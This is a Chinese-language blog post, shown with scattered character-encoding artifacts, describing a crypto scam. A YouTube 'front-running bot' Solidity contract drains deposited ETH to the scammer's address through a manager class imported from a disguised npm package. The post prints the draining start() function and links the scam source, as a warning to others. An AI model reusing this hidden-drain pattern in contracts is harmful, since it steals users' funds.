起因
前段時(shí)間在群里看到群友發(fā)了一個(gè)油管的鏈接,視頻內(nèi)容大致就是你只需按照他的代碼部署機(jī)器人的EVM合約即可躺賺收益,原理就是狙擊在Uniswap在某些大額交易變成“事實(shí)”之前搶先插隊(duì)在大額買(mǎi)入或賣(mài)出之前買(mǎi)入,并且在大額買(mǎi)入或賣(mài)出成功后立馬賣(mài)出或買(mǎi)入完成套利。
經(jīng)過(guò)
抱著懷疑態(tài)度,看了下評(píng)論(當(dāng)時(shí)覺(jué)得800多條評(píng)論,不可能是假的吧),覺(jué)得臥槽牛逼,趕緊試一下。作者還為大家解惑,為什么免費(fèi)分享代碼,是因?yàn)橄虢⒆约涸谌ψ拥挠绊懥?,說(shuō)得跟真的一樣。


代碼很簡(jiǎn)單,https://pastebin.com/raw/vY4Y2c1y,就一個(gè)文件,用remix連接狐貍部署即可,然后向合約轉(zhuǎn)錢(qián),手動(dòng)執(zhí)行合約的函數(shù)就可以開(kāi)始賺錢(qián),教程里說(shuō)轉(zhuǎn)的eth越多賺的越多。
謹(jǐn)慎起見(jiàn)還是用測(cè)試網(wǎng)絡(luò)Ropsten試一下,測(cè)試不要錢(qián),反正從水龍頭可以隨便拿錢(qián)(https://faucet.metamask.io/)。


部署完畢,合約放了兩個(gè)函數(shù)出來(lái)start就是開(kāi)始開(kāi)始賺取收益,withdraw就是把合約里的錢(qián)進(jìn)行提現(xiàn) (看似邏輯非常完美),因?yàn)楹霞s也是你自己部署的,自己往合約上轉(zhuǎn)錢(qián)。
往合約轉(zhuǎn)1eth

有了,點(diǎn)擊start!開(kāi)始賺錢(qián)!

下一刻,錢(qián)沒(méi)了??聪聝?nèi)部轉(zhuǎn)賬,調(diào)用start之后,合約內(nèi)部往下面這個(gè)地址轉(zhuǎn)了所有的錢(qián)。

開(kāi)始百思不得其解,因?yàn)樵诖a全局里根本搜不到這個(gè)地址。
回來(lái)看下start方法
function start() public payable {
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
payable(manager.DepositAddress()).transfer(address(this).balance);
}
這個(gè)manager.DepositAddress()很有誤導(dǎo)性,看起來(lái)是合約的管理者,但manager這個(gè)類(lèi)在代碼里找不到。
花了很久很久,終于。。。發(fā)現(xiàn)了一個(gè)可疑的引入

在npmjs.com一搜出來(lái)是這么個(gè)玩意,死都想不到是這個(gè)cmc的npm出了問(wèn)題。真就還以為是cmc官網(wǎng)的api。真的太有迷惑性了。

在非常隱蔽的地方找到了這個(gè)manager類(lèi),其余代碼都已注釋



最終在這里返回了騙子的地址。
總結(jié)
1.凡是說(shuō)只要部署合約就能賺錢(qián)的大概率是騙子,夾子機(jī)器是一個(gè)復(fù)雜的技術(shù), 僅有合約是不能夾到交易的, 因?yàn)楹霞s不會(huì)自動(dòng)運(yùn)行, 必須要有腳本去調(diào)用合約,evm上的合約需要消費(fèi)gas,都是有執(zhí)行生命周期的,不可能一直存在那。
2.小白部署合約前,即使看不懂solidty代碼,也應(yīng)該在testnet進(jìn)行測(cè)試,確保合約的安全性。
3.世界上沒(méi)有不勞而獲的事情,不斷提高自己的認(rèn)知是獲的前提。